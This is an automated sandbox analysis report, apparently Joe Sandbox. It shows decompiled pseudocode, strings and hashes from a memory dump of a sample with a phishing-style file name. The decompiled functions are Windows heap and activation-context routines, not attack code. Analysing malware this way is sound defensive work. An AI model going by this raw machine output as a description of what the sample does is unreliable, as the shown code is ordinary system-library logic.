((LONG)FreeEntry->Size > 1), xrefs: 00A81F89
HEAP: , xrefs: 00A81E95, 00A81F7E, 00A82131, 00A82269
HEAP[%wZ]: , xrefs: 00A81E88, 00A81F71, 00A82124, 00A8225C
(!TrailingUCR), xrefs: 00A82274

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: 94dfa747180670143b91a3ca8d1136fa9922298f4b1c052d5bf6ce29fd3faeb3
Instruction ID: b615b7d0d95c4b9fcda9c96a9c18253474a6bca28ea35514c1ffdd5378130f39
Opcode Fuzzy Hash: 94dfa747180670143b91a3ca8d1136fa9922298f4b1c052d5bf6ce29fd3faeb3
Instruction Fuzzy Hash: 2242CA716087819FC715DF28C984B6ABBE5FFA8304F148969F8868B392D734DD81CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00A32D50, Relevance: 7.9, Strings: 6, Instructions: 397
COMMONCrypto

Download Yara Rule

C-Code - Quality: 54%

			E00A32D50(signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, signed int _a20) {
				signed int _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				void* _v88;
				void* _v89;
				void* _v96;
				void* _v100;
				void* _v113;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t131;
				signed int _t134;
				signed int _t139;
				void* _t140;
				signed int _t150;
				intOrPtr _t156;
				intOrPtr* _t167;
				intOrPtr _t168;
				signed int _t169;
				void* _t174;
				signed int _t175;
				signed int _t176;
				void* _t177;
				signed int _t179;
				signed int _t180;
				signed int _t184;
				signed int _t189;
				void* _t200;
				intOrPtr* _t201;
				intOrPtr _t210;
				signed int _t211;
				void* _t212;
				void* _t224;
				intOrPtr _t226;
				signed int _t227;
				void* _t228;
				void* _t230;
				signed int _t231;
				signed int _t232;
				void* _t233;
				signed int _t237;
				signed int _t239;

				_t239 = (_t237 & 0xfffffff8) - 0x44;
				_v8 =  *0xb0d360 ^ _t239;
				_t184 =  *[fs:0x18];
				_t131 =  *((intOrPtr*)(_t184 + 0x30));
				if( *((intOrPtr*)(_t131 + 0x1f8)) == 0) {
					if( *((intOrPtr*)(_t131 + 0x200)) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t184 + 0x1a8)))) != 0) {
						goto L1;
					} else {
						_t132 = 0xc0150001;
						goto L33;
					}
				} else {
					L1:
					_v48 = 0;
					_v12 = 0xffffffff;
					_v16 = 0;
					if(_a16 == 0) {
						L81:
						_t132 = 0xc000000d;
						goto L33;
					} else {
						_t222 = _a4;
						if((_t222 & 0xfffffff8) != 0) {
							goto L81;
						} else {
							_t134 = _a20;
							if((_t222 & 0x00000007) == 0) {
								if(_t134 != 0) {
									goto L5;
								} else {
									goto L6;
								}
							} else {
								if(_t134 == 0) {
									goto L81;
								} else {
									L5:
									if( *_t134 < 0x24) {
										goto L81;
									} else {
										L6:
										if((_t222 & 0x00000002) == 0) {
											L9:
											if((_t222 & 0x00000004) != 0) {
												if(_t134 + 0x40 <=  *_t134 + _t134) {
													goto L10;
												} else {
													_push(0xc000000d);
													_push("RtlpFindActivationContextSection_CheckParameters");
													_push("SXS: %s() flags contains return_assembly_metadata but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
													goto L80;
												}
											} else {
												L10:
												_t231 = _a8;
												_v36 = _t222;
												_t222 =  *[fs:0x18];
												_v28 = _a12;
												_v24 = 0;
												_t175 = _v24;
												_t189 =  *((intOrPtr*)(_t222 + 0x30));
												_v40 = 0x18;
												_v20 = 0;
												_v32 = _t231;
												_v64 = 0;
												_v60 = _t222;
												_v52 = _t189;
												while(1) {
													_t139 = _t175;
													if(_t139 != 0) {
														goto L34;
													}
													_t167 =  *((intOrPtr*)(_t222 + 0x1a8));
													if(_t167 == 0) {
														L14:
														_t226 =  *((intOrPtr*)(_t189 + 0x1f8));
														_v64 = 0;
														if(_t226 == 0) {
															L36:
															_t226 =  *((intOrPtr*)(_t189 + 0x200));
															_v64 = 0xfffffffc;
															if(_t226 == 0) {
																L86:
																if(_t175 <= 3) {
																	goto L16;
																} else {
																	_t132 = 0xc00000e5;
																	goto L89;
																}
															} else {
																_t175 = 3;
																_v24 = 3;
																goto L16;
															}
														} else {
															_t175 = 2;
															_v24 = 2;
															goto L16;
														}
													} else {
														_t168 =  *_t167;
														if(_t168 != 0) {
															_t169 =  *((intOrPtr*)(_t168 + 4));
															_v64 = _t169;
															if(_t169 == 0) {
																L58:
																if(_t226 == 0) {
																	goto L14;
																} else {
																	goto L59;
																}
															} else {
																if(_t169 == 0xfffffffc) {
																	_t226 =  *((intOrPtr*)(_t189 + 0x200));
																	goto L58;
																} else {
																	if(_t169 == 0xfffffffd) {
																		_t226 = "Actx ";
																		L59:
																		_t175 = 1;
																		_v24 = 1;
																		L16:
																		if(_t226 == 0) {
																			_t132 = 0xc0150001;
																			L89:
																			_t232 = 0;
																			goto L90;
																		} else {
																			_t222 = _t231;
																			_t132 = E00A331F0(_t226, _t231, _a12,  &_v56,  &_v48);
																			if(_t132 < 0) {
																				_t232 = 0;
																				if(_t132 != 0xc0150001 || _t175 == 3) {
																					goto L19;
																				} else {
																					_t189 = _v52;
																					_t222 = _v60;
																					_t231 = _a8;
																					continue;
																				}
																			} else {
																				_t222 = _v64;
																				_v20 = (0 | _t222 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t222 == 0x00000000;
																				asm("sbb esi, esi");
																				_t232 =  ~(_t222 - 0xfffffffc) & _t222;
																				_t132 = 0;
																				L19:
																				if(_t132 < 0) {
																					L90:
																					if(_t132 < 0) {
																						goto L33;
																					} else {
																						goto L20;
																					}
																				} else {
																					L20:
																					_t176 = _v48;
																					if(_t176 < 0x2c) {
																						L104:
																						_t142 = _v56;
																						goto L105;
																					} else {
																						_t227 = _a20;
																						while(1) {
																							L22:
																							_t142 = _v56;
																							if( *_v56 != 0x64487353) {
																								break;
																							}
																							_t239 = _t239 - 8;
																							_t222 = _t176;
																							_t132 = E00A33360(_t142, _t176, _a16, _t227,  &_v12,  &_v16);
																							if(_t132 >= 0) {
																								_t85 = _t232 - 1; // -1
																								if((_t85 | 0x00000007) != 0xffffffff) {
																									_t150 =  *((intOrPtr*)(_t232 + 0x14));
																									_v52 = _t150;
																									if(_t150 != 0 && (( *(_t232 + 0x1c) & 0x00000008) == 0 || ( *(_t232 + 0x3c) & 0x00000008) == 0)) {
																										 *((char*)(_t239 + 0x13)) = 0;
																										 *0xb0b1e0(3, _t232,  *((intOrPtr*)(_t232 + 0x10)),  *((intOrPtr*)(_t232 + 0x18)), 0, _t239 + 0x13);
																										_v52();
																										 *(_t232 + 0x1c) =  *(_t232 + 0x1c) | 0x00000008;
																										if( *((char*)(_t239 + 0x13)) != 0) {
																											 *(_t232 + 0x3c) =  *(_t232 + 0x3c) | 0x00000008;
																										}
																									}
																								}
																								if(_t227 == 0) {
																									L66:
																									_pop(_t228);
																									_pop(_t233);
																									_pop(_t177);
																									return L00A5B640(0, _t177, _v16 ^ _t239, _t222, _t228, _t233);
																								} else {
																									_t148 = _v64;
																									_t222 = _t227;
																									if(E00A3FD1F(_a4, _t227, _t232,  &_v48, _v64,  *((intOrPtr*)(_v64 + 0x24)),  *((intOrPtr*)(_t148 + 0x28)), _t176) < 0) {
																										goto L33;
																									} else {
																										goto L66;
																									}
																								}
																							} else {
																								if(_t132 != 0xc0150008) {
																									L33:
																									_pop(_t224);
																									_pop(_t230);
																									_pop(_t174);
																									return L00A5B640(_t132, _t174, _v8 ^ _t239, _t222, _t224, _t230);
																								} else {
																									_t222 =  *[fs:0x18];
																									_t232 = 0;
																									_v72 = 0;
																									_v52 = _t222;
																									_v68 = 0;
																									_v60 =  *((intOrPtr*)(_t222 + 0x30));
																									_t179 = _v32;
																									L26:
																									while(1) {
																										if(_t179 <= 2) {
																											_t200 = _t179 - _t232;
																											if(_t200 == 0) {
																												_t201 =  *((intOrPtr*)(_t222 + 0x1a8));
																												if(_t201 == 0) {
																													goto L67;
																												} else {
																													_t210 =  *_t201;
																													if(_t210 == 0) {
																														goto L67;
																													} else {
																														_t211 =  *((intOrPtr*)(_t210 + 4));
																														_v68 = _t211;
																														if(_t211 == 0) {
																															L101:
																															if(_t156 == 0) {
																																goto L67;
																															} else {
																																goto L102;
																															}
																														} else {
																															if(_t211 != 0xfffffffc) {
																																if(_t211 != 0xfffffffd) {
																																	_t156 =  *((intOrPtr*)(_t211 + 0x10));
																																	goto L100;
																																} else {
																																	_t156 = "Actx ";
																																	_v72 = _t156;
																																	L102:
																																	_t179 = 1;
																																	_v32 = 1;
																																	goto L28;
																																}
																															} else {
																																_t156 =  *((intOrPtr*)(_v60 + 0x200));
																																L100:
																																_v72 = _t156;
																																goto L101;
																															}
																														}
																													}
																												}
																											} else {
																												_t212 = _t200 - 1;
																												if(_t212 == 0) {
																													L67:
																													_v68 = 0;
																													_t156 =  *((intOrPtr*)(_v60 + 0x1f8));
																													_v72 = _t156;
																													if(_t156 == 0) {
																														goto L44;
																													} else {
																														_t179 = 2;
																														_v32 = 2;
																														goto L28;
																													}
																												} else {
																													if(_t212 != 1) {
																														goto L27;
																													} else {
																														L44:
																														_v68 = 0xfffffffc;
																														_t156 =  *((intOrPtr*)(_v60 + 0x200));
																														_v72 = _t156;
																														if(_t156 == 0) {
																															goto L27;
																														} else {
																															_t179 = 3;
																															_v32 = 3;
																															goto L28;
																														}
																													}
																												}
																											}
																										} else {
																											L27:
																											if(_t179 > 3) {
																												_t132 = 0xc00000e5;
																												goto L30;
																											} else {
																												L28:
																												if(_t156 != 0) {
																													_t222 = _a8;
																													_t132 = E00A331F0(_t156, _a8, _a12,  &_v64,  &_v56);
																													if(_t132 < 0) {
																														if(_t132 != 0xc0150001 || _t179 == 3) {
																															_t180 = 0;
																															goto L48;
																														} else {
																															_t156 = _v72;
																															_t222 = _v52;
																															continue;
																														}
																													} else {
																														_t222 = _v68;
																														_v28 = (0 | _t222 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t222 == 0x00000000;
																														asm("sbb ebx, ebx");
																														_t180 =  ~(_t222 - 0xfffffffc) & _t222;
																														_t132 = 0;
																														L48:
																														if(_t132 < 0) {
																															goto L31;
																														} else {
																															L00A3F830(_t132, _t180);
																															_t232 = _t180;
																															goto L50;
																														}
																													}
																												} else {
																													_t132 = 0xc0150001;
																													L30:
																													if(_t132 >= 0) {
																														L50:
																														_t176 = _v56;
																														if(_t176 >= 0x2c) {
																															goto L22;
																														} else {
																															goto L104;
																														}
																													} else {
																														L31:
																														if(_t132 == 0xc0150001) {
																															_t132 = 0xc0150008;
																														}
																														goto L33;
																													}
																												}
																											}
																										}
																										goto L106;
																									}
																								}
																							}
																							goto L106;
																						}
																						L105:
																						_push(_t176);
																						L00AA5720(0x33, 0, "RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section\n", _t142);
																						_t239 = _t239 + 0x14;
																						_t132 = 0xc0150003;
																						goto L33;
																					}
																				}
																			}
																		}
																	} else {
																		_t226 =  *((intOrPtr*)(_t169 + 0x10));
																		goto L58;
																	}
																}
															}
														} else {
															goto L14;
														}
													}
													goto L106;
													L34:
													_t140 = _t139 - 1;
													if(_t140 == 0) {
														goto L14;
													} else {
														if(_t140 != 1) {
															goto L86;
														} else {
															goto L36;
														}
													}
													goto L106;
												}
											}
										} else {
											if(_t134 + 0x2c >  *_t134 + _t134) {
												_push(0xc000000d);
												_push("RtlpFindActivationContextSection_CheckParameters");
												_push("SXS: %s() flags contains return_flags but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
												L80:
												_push(0);
												_push(0x33);
												L00AA5720();
												_t239 = _t239 + 0x14;
												goto L81;
											} else {
												_t134 = _a20;
												goto L9;
											}
										}
									}
								}
							}
						}
					}
				}
				L106:
			}

0x00a32d58
0x00a32d62
0x00a32d66
0x00a32d70
0x00a32d7a
0x00a330ad
0x00000000
0x00a7d710
0x00a7d710
0x00000000
0x00a7d710
0x00a32d80
0x00a32d80
0x00a32d84
0x00a32d8c
0x00a32d94
0x00a32d9c
0x00a7d735
0x00a7d735
0x00000000
0x00a32da2
0x00a32da2
0x00a32dab
0x00000000
0x00a32db1
0x00a32db1
0x00a32db7
0x00a331d4
0x00000000
0x00a331da
0x00000000
0x00a331da
0x00a32dbd
0x00a32dbf
0x00000000
0x00a32dc5
0x00a32dc5
0x00a32dc8
0x00000000
0x00a32dce
0x00a32dce
0x00a32dd1
0x00a32de5
0x00a32de8
0x00a7d748
0x00000000
0x00a7d74e
0x00a7d74e
0x00a7d753
0x00a7d758
0x00000000
0x00a7d758
0x00a32dee
0x00a32dee
0x00a32df3
0x00a32df6
0x00a32dfa
0x00a32e01
0x00a32e07
0x00a32e0f
0x00a32e13
0x00a32e16
0x00a32e1e
0x00a32e26
0x00a32e2a
0x00a32e2e
0x00a32e32
0x00a32e40
0x00a32e42
0x00a32e45
0x00000000
0x00000000
0x00a32e4b
0x00a32e53
0x00a32e5f
0x00a32e5f
0x00a32e67
0x00a32e6d
0x00a32fa9
0x00a32fa9
0x00a32faf
0x00a32fb9
0x00a7d774
0x00a7d777
0x00000000
0x00a7d77d
0x00a7d77d
0x00000000
0x00a7d77d
0x00a32fbf
0x00a32fbf
0x00a32fc4
0x00000000
0x00a32fc4
0x00a32e73
0x00a32e73
0x00a32e78
0x00000000
0x00a32e78
0x00a32e55
0x00a32e55
0x00a32e59
0x00a330b8
0x00a330bb
0x00a330c1
0x00a330d8
0x00a330da
0x00000000
0x00000000
0x00000000
0x00000000
0x00a330c3
0x00a330c6
0x00a7d75f
0x00000000
0x00a330cc
0x00a330cf
0x00a7d76a
0x00a330e0
0x00a330e0
0x00a330e5
0x00a32e7c
0x00a32e7e
0x00a7d784
0x00a7d789
0x00a7d789
0x00000000
0x00a32e84
0x00a32e88
0x00a32e95
0x00a32e9c
0x00a32fcd
0x00a32fd4
0x00000000
0x00a32fe3
0x00a32fe3
0x00a32fe7
0x00a32feb
0x00000000
0x00a32feb
0x00a32ea2
0x00a32ea2
0x00a32ec2
0x00a32ec6
0x00a32ec8
0x00a32eca
0x00a32ecc
0x00a32ece
0x00a7d78b
0x00a7d78d
0x00000000
0x00a7d793
0x00000000
0x00a7d793
0x00a32ed4
0x00a32ed4
0x00a32ed4
0x00a32edb
0x00a7d803
0x00a7d803
0x00000000
0x00a32ee1
0x00a32ee1
0x00a32ef0
0x00a32ef0
0x00a32ef0
0x00a32efa
0x00000000
0x00000000
0x00a32f00
0x00a32f07
0x00a32f15
0x00a32f1c
0x00a330ee
0x00a330f7
0x00a330f9
0x00a330fc
0x00a33102
0x00a3319d
0x00a331b0
0x00a331b6
0x00a331ba
0x00a331c3
0x00a331c9
0x00a331c9
0x00a331c3
0x00a33102
0x00a3311a
0x00a33140
0x00a33146
0x00a33147
0x00a33148
0x00a33153
0x00a3311c
0x00a3311c
0x00a33120
0x00a3313a
0x00000000
0x00000000
0x00000000
0x00000000
0x00a3313a
0x00a32f22
0x00a32f27
0x00a32f83
0x00a32f83
0x00a32f84
0x00a32f85
0x00a32f94
0x00a32f29
0x00a32f29
0x00a32f32
0x00a32f34
0x00a32f3a
0x00a32f3e
0x00a32f45
0x00a32f49
0x00000000
0x00a32f50
0x00a32f53
0x00a32ff5
0x00a32ff7
0x00a7d798
0x00a7d7a0
0x00000000
0x00a7d7a6
0x00a7d7a6
0x00a7d7aa
0x00000000
0x00a7d7b0
0x00a7d7b0
0x00a7d7b3
0x00a7d7b9
0x00a7d7e3
0x00a7d7e5
0x00000000
0x00000000
0x00000000
0x00000000
0x00a7d7bb
0x00a7d7be
0x00a7d7cf
0x00a7d7dc
0x00000000
0x00a7d7d1
0x00a7d7d1
0x00a7d7d6
0x00a7d7eb
0x00a7d7eb
0x00a7d7f0
0x00000000
0x00a7d7f0
0x00a7d7c0
0x00a7d7c4
0x00a7d7df
0x00a7d7df
0x00000000
0x00a7d7df
0x00a7d7be
0x00a7d7b9
0x00a7d7aa
0x00a32ffd
0x00a32ffd
0x00a33000
0x00a33156
0x00a33158
0x00a33160
0x00a33166
0x00a3316c
0x00000000
0x00a33172
0x00a33172
0x00a33177
0x00000000
0x00a33177
0x00a33006
0x00a33009
0x00000000
0x00a3300f
0x00a3300f
0x00a33013
0x00a3301b
0x00a33021
0x00a33027
0x00000000
0x00a3302d
0x00a3302d
0x00a33032
0x00000000
0x00a33032
0x00a33027
0x00a33009
0x00a33000
0x00a32f59
0x00a32f59
0x00a32f5c
0x00a7d7f9
0x00000000
0x00a32f62
0x00a32f62
0x00a32f64
0x00a3303b
0x00a3304d
0x00a33054
0x00a33185
0x00a331df
0x00000000
0x00a3318c
0x00a3318c
0x00a33190
0x00000000
0x00a33190
0x00a3305a
0x00a3305a
0x00a3307a
0x00a3307e
0x00a33080
0x00a33082
0x00a33084
0x00a33086
0x00000000
0x00a3308c
0x00a3308d
0x00a33092
0x00000000
0x00a33092
0x00a33086
0x00a32f6a
0x00a32f6a
0x00a32f6f
0x00a32f71
0x00a33094
0x00a33094
0x00a3309b
0x00000000
0x00a330a1
0x00000000
0x00a330a1
0x00a32f77
0x00a32f77
0x00a32f7c
0x00a32f7e
0x00a32f7e
0x00000000
0x00a32f7c
0x00a32f71
0x00a32f64
0x00a32f5c
0x00000000
0x00a32f53
0x00a32f50
0x00a32f27
0x00000000
0x00a32f1c
0x00a7d807
0x00a7d807
0x00a7d812
0x00a7d817
0x00a7d81a
0x00000000
0x00a7d81a
0x00a32edb
0x00a32ece
0x00a32e9c
0x00a330d5
0x00a330d5
0x00000000
0x00a330d5
0x00a330cf
0x00a330c6
0x00000000
0x00000000
0x00000000
0x00a32e59
0x00000000
0x00a32f97
0x00a32f97
0x00a32f9a
0x00000000
0x00a32fa0
0x00a32fa3
0x00000000
0x00000000
0x00000000
0x00000000
0x00a32fa3
0x00000000
0x00a32f9a
0x00a32e40
0x00a32dd3
0x00a32ddc
0x00a7d71a
0x00a7d71f
0x00a7d724
0x00a7d729
0x00a7d729
0x00a7d72b
0x00a7d72d
0x00a7d732
0x00000000
0x00a32de2
0x00a32de2
0x00000000
0x00a32de2
0x00a32ddc
0x00a32dd1
0x00a32dc8
0x00a32dbf
0x00a32db7
0x00a32dab
0x00a32d9c
0x00000000

Strings

Actx , xrefs: 00A7D76A, 00A7D7D1
RtlpFindActivationContextSection_CheckParameters, xrefs: 00A7D71F, 00A7D753
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 00A7D724
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 00A7D758
SsHd, xrefs: 00A32EF4
RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 00A7D809

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 0-1988757188
Opcode ID: 69a0e961c02fabc33bd3270be47435c0add5eb5cd6a5a63f2e5e0d71835eaf1a
Instruction ID: c0729225055f556de97e577b85cc0f9f924ef8064aa3376887fc254e95905f96
Opcode Fuzzy Hash: 69a0e961c02fabc33bd3270be47435c0add5eb5cd6a5a63f2e5e0d71835eaf1a
Instruction Fuzzy Hash: D6E1E4716083028FDB28CF28C985B6ABBF1AF88314F24862DF955DB290D731DD45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00AD2D82, Relevance: 7.7, Strings: 6, Instructions: 228
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E00AD2D82(void* __ebx, intOrPtr* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t83;
				signed char _t89;
				intOrPtr _t90;
				signed char _t101;
				signed int _t102;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				intOrPtr _t108;
				intOrPtr _t112;
				short* _t130;
				short _t131;
				signed int _t148;
				intOrPtr _t149;
				signed int* _t154;
				short* _t165;
				signed int _t171;
				void* _t182;

				_push(0x44);
				_push(0xaf0e80);
				E00A6D0E8(__ebx, __edi, __esi);
				_t177 = __edx;
				_t181 = __ecx;
				 *((intOrPtr*)(_t182 - 0x44)) = __ecx;
				 *((char*)(_t182 - 0x1d)) = 0;
				 *(_t182 - 0x24) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *((intOrPtr*)(_t182 - 4)) = 0;
					 *((intOrPtr*)(_t182 - 4)) = 1;
					_t83 = E00A140E1("RtlAllocateHeap");
					__eflags = _t83;
					if(_t83 == 0) {
						L48:
						 *(_t182 - 0x24) = 0;
						L49:
						 *((intOrPtr*)(_t182 - 4)) = 0;
						 *((intOrPtr*)(_t182 - 4)) = 0xfffffffe;
						E00AD30C4();
						goto L50;
					}
					_t89 =  *(__ecx + 0x44) | __edx | 0x10000100;
					 *(_t182 - 0x28) = _t89;
					 *(_t182 - 0x3c) = _t89;
					_t177 =  *(_t182 + 8);
					__eflags = _t177;
					if(_t177 == 0) {
						_t171 = 1;
						__eflags = 1;
					} else {
						_t171 = _t177;
					}
					_t148 =  *((intOrPtr*)(_t181 + 0x94)) + _t171 &  *(_t181 + 0x98);
					__eflags = _t148 - 0x10;
					if(_t148 < 0x10) {
						_t148 = 0x10;
					}
					_t149 = _t148 + 8;
					 *((intOrPtr*)(_t182 - 0x48)) = _t149;
					__eflags = _t149 - _t177;
					if(_t149 < _t177) {
						L44:
						_t90 =  *[fs:0x30];
						__eflags =  *(_t90 + 0xc);
						if( *(_t90 + 0xc) == 0) {
							_push("HEAP: ");
							E00A1B150();
						} else {
							E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push( *((intOrPtr*)(_t181 + 0x78)));
						E00A1B150("Invalid allocation size - %Ix (exceeded %Ix)\n", _t177);
						goto L48;
					} else {
						__eflags = _t149 -  *((intOrPtr*)(_t181 + 0x78));
						if(_t149 >  *((intOrPtr*)(_t181 + 0x78))) {
							goto L44;
						}
						__eflags = _t89 & 0x00000001;
						if((_t89 & 0x00000001) != 0) {
							_t178 =  *(_t182 - 0x28);
						} else {
							L00A2EEF0( *((intOrPtr*)(_t181 + 0xc8)));
							 *((char*)(_t182 - 0x1d)) = 1;
							_t178 =  *(_t182 - 0x28) | 0x00000001;
							 *(_t182 - 0x3c) =  *(_t182 - 0x28) | 0x00000001;
						}
						E00AD4496(_t181, 0);
						_t177 = L00A34620(_t181, _t181, _t178,  *(_t182 + 8));
						 *(_t182 - 0x24) = _t177;
						_t173 = 1;
						E00AD49A4(_t181);
						__eflags = _t177;
						if(_t177 == 0) {
							goto L49;
						} else {
							_t177 = _t177 + 0xfffffff8;
							__eflags =  *((char*)(_t177 + 7)) - 5;
							if( *((char*)(_t177 + 7)) == 5) {
								_t177 = _t177 - (( *(_t177 + 6) & 0x000000ff) << 3);
								__eflags = _t177;
							}
							_t154 = _t177;
							 *(_t182 - 0x40) = _t177;
							__eflags =  *(_t181 + 0x4c);
							if( *(_t181 + 0x4c) != 0) {
								 *_t177 =  *_t177 ^  *(_t181 + 0x50);
								__eflags =  *(_t177 + 3) - (_t154[0] ^ _t154[0] ^  *_t154);
								if(__eflags != 0) {
									_push(_t154);
									_t173 = _t177;
									E00ACFA2B(0, _t181, _t177, _t177, _t181, __eflags);
								}
							}
							__eflags =  *(_t177 + 2) & 0x00000002;
							if(( *(_t177 + 2) & 0x00000002) == 0) {
								_t101 =  *(_t177 + 3);
								 *(_t182 - 0x29) = _t101;
								_t102 = _t101 & 0x000000ff;
							} else {
								_t130 = L00A11F5B(_t177);
								 *((intOrPtr*)(_t182 - 0x30)) = _t130;
								__eflags =  *(_t181 + 0x40) & 0x08000000;
								if(( *(_t181 + 0x40) & 0x08000000) == 0) {
									 *_t130 = 0;
								} else {
									_t131 = L00A416C7(1, _t173);
									_t165 =  *((intOrPtr*)(_t182 - 0x30));
									 *_t165 = _t131;
									_t130 = _t165;
								}
								_t102 =  *(_t130 + 2) & 0x0000ffff;
							}
							 *(_t182 - 0x34) = _t102;
							 *(_t182 - 0x28) = _t102;
							__eflags =  *(_t181 + 0x4c);
							if( *(_t181 + 0x4c) != 0) {
								 *(_t177 + 3) =  *(_t177 + 2) ^  *(_t177 + 1) ^  *_t177;
								 *_t177 =  *_t177 ^  *(_t181 + 0x50);
								__eflags =  *_t177;
							}
							__eflags =  *(_t181 + 0x40) & 0x20000000;
							if(( *(_t181 + 0x40) & 0x20000000) != 0) {
								__eflags = 0;
								E00AD4496(_t181, 0);
							}
							__eflags =  *(_t182 - 0x24) -  *0xb06360; // 0x0
							_t104 =  *[fs:0x30];
							if(__eflags != 0) {
								_t105 =  *(_t104 + 0x68);
								 *(_t182 - 0x4c) = _t105;
								__eflags = _t105 & 0x00000800;
								if((_t105 & 0x00000800) == 0) {
									goto L49;
								}
								_t106 =  *(_t182 - 0x34);
								__eflags = _t106;
								if(_t106 == 0) {
									goto L49;
								}
								__eflags = _t106 -  *0xb06364; // 0x0
								if(__eflags != 0) {
									goto L49;
								}
								__eflags =  *((intOrPtr*)(_t181 + 0x7c)) -  *0xb06366; // 0x0
								if(__eflags != 0) {
									goto L49;
								}
								_t108 =  *[fs:0x30];
								__eflags =  *(_t108 + 0xc);
								if( *(_t108 + 0xc) == 0) {
									_push("HEAP: ");
									E00A1B150();
								} else {
									E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(E00ABD455(_t181,  *(_t182 - 0x28)));
								_push( *(_t182 + 8));
								E00A1B150("Just allocated block at %p for 0x%Ix bytes with tag %ws\n",  *(_t182 - 0x24));
								goto L34;
							} else {
								__eflags =  *(_t104 + 0xc);
								if( *(_t104 + 0xc) == 0) {
									_push("HEAP: ");
									E00A1B150();
								} else {
									E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t182 + 8));
								E00A1B150("Just allocated block at %p for %Ix bytes\n",  *0xb06360);
								L34:
								_t112 =  *[fs:0x30];
								__eflags =  *((char*)(_t112 + 2));
								if( *((char*)(_t112 + 2)) != 0) {
									 *0xb06378 = 1;
									 *0xb060c0 = 0;
									asm("int3");
									 *0xb06378 = 0;
								}
								goto L49;
							}
						}
					}
				} else {
					_t181 =  *0xb05708; // 0x0
					 *0xb0b1e0(__ecx, __edx,  *(_t182 + 8));
					 *_t181();
					L50:
					return E00A6D130(0, _t177, _t181);
				}
			}

0x00ad2d82
0x00ad2d84
0x00ad2d89
0x00ad2d8e
0x00ad2d90
0x00ad2d92
0x00ad2d97
0x00ad2d9a
0x00ad2da4
0x00ad2dc0
0x00ad2dc3
0x00ad2dd1
0x00ad2dd6
0x00ad2dd8
0x00ad30a7
0x00ad30a7
0x00ad30aa
0x00ad30aa
0x00ad30ad
0x00ad30b4
0x00000000
0x00ad30b9
0x00ad2de3
0x00ad2de8
0x00ad2deb
0x00ad2dee
0x00ad2df1
0x00ad2df3
0x00ad2dfb
0x00ad2dfb
0x00ad2df5
0x00ad2df5
0x00ad2df5
0x00ad2e04
0x00ad2e0a
0x00ad2e0d
0x00ad2e11
0x00ad2e11
0x00ad2e12
0x00ad2e15
0x00ad2e18
0x00ad2e1a
0x00ad3027
0x00ad3027
0x00ad302d
0x00ad3030
0x00ad304f
0x00ad3054
0x00ad3032
0x00ad3047
0x00ad304c
0x00ad305a
0x00ad3063
0x00000000
0x00ad2e20
0x00ad2e20
0x00ad2e23
0x00000000
0x00000000
0x00ad2e29
0x00ad2e2b
0x00ad2e47
0x00ad2e2d
0x00ad2e33
0x00ad2e38
0x00ad2e3f
0x00ad2e42
0x00ad2e42
0x00ad2e4e
0x00ad2e5d
0x00ad2e5f
0x00ad2e62
0x00ad2e66
0x00ad2e6b
0x00ad2e6d
0x00000000
0x00ad2e73
0x00ad2e73
0x00ad2e76
0x00ad2e7a
0x00ad2e83
0x00ad2e83
0x00ad2e83
0x00ad2e85
0x00ad2e87
0x00ad2e8a
0x00ad2e8d
0x00ad2e92
0x00ad2e9c
0x00ad2e9f
0x00ad2ea1
0x00ad2ea2
0x00ad2ea6
0x00ad2ea6
0x00ad2e9f
0x00ad2eab
0x00ad2eaf
0x00ad2edf
0x00ad2ee2
0x00ad2ee5
0x00ad2eb1
0x00ad2eb3
0x00ad2eb8
0x00ad2ebd
0x00ad2ec4
0x00ad2ed6
0x00ad2ec6
0x00ad2ec7
0x00ad2ecc
0x00ad2ecf
0x00ad2ed2
0x00ad2ed2
0x00ad2ed9
